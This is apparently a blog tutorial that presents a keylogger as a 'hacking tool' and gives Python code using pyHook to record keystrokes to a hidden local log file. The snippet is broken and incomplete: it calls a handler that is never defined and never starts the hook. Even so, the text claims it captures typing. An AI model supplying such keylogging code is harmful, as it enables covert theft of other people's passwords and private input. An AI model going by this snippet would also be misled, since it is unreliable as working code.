Create an amazing hacking tool (Keyloggger) just by using Notepad. A keylogger is a hacking tool of the newbie but sometimes highly skilled hackers also use them. These are very easy to create and use. So, let’s learn how to create our free keylogger.
What is a keylogger?
Before that, it’s important to know what is a keylogger actually(in case you did not already know). It is a program that records your keystrokes and saves them as a log file either onto a server over a reverse TCP tunnel or on the local machine itself. The server, in this case, is the one hosted by the hacker(you).
How To Create Keylogger Using Notepad?
Let’s get started!
1. Open notepad on your computer and paste the following code in it:
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
2. Save the file as keylogger.pyw
3. Fire up your keylogger
Double-click on the file you just created and test it out, then start typing.
When you want to stop logging, open up task manager and kill all the “python” processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.
NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.
So this is a simple keylogger that saves the keystrokes on the local machine. You can explore further for more complex keyloggers.
4. Where to go from here?
1. Keylogger Wiki
2. Actual Keylogger for Windows
Also, consider reading the disclaimer before trying it out yourself:
The information provided is for educational purpose only, if a person uses this information for malicious purposes, he/she will be solely responsible for the legal and other consequences.
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.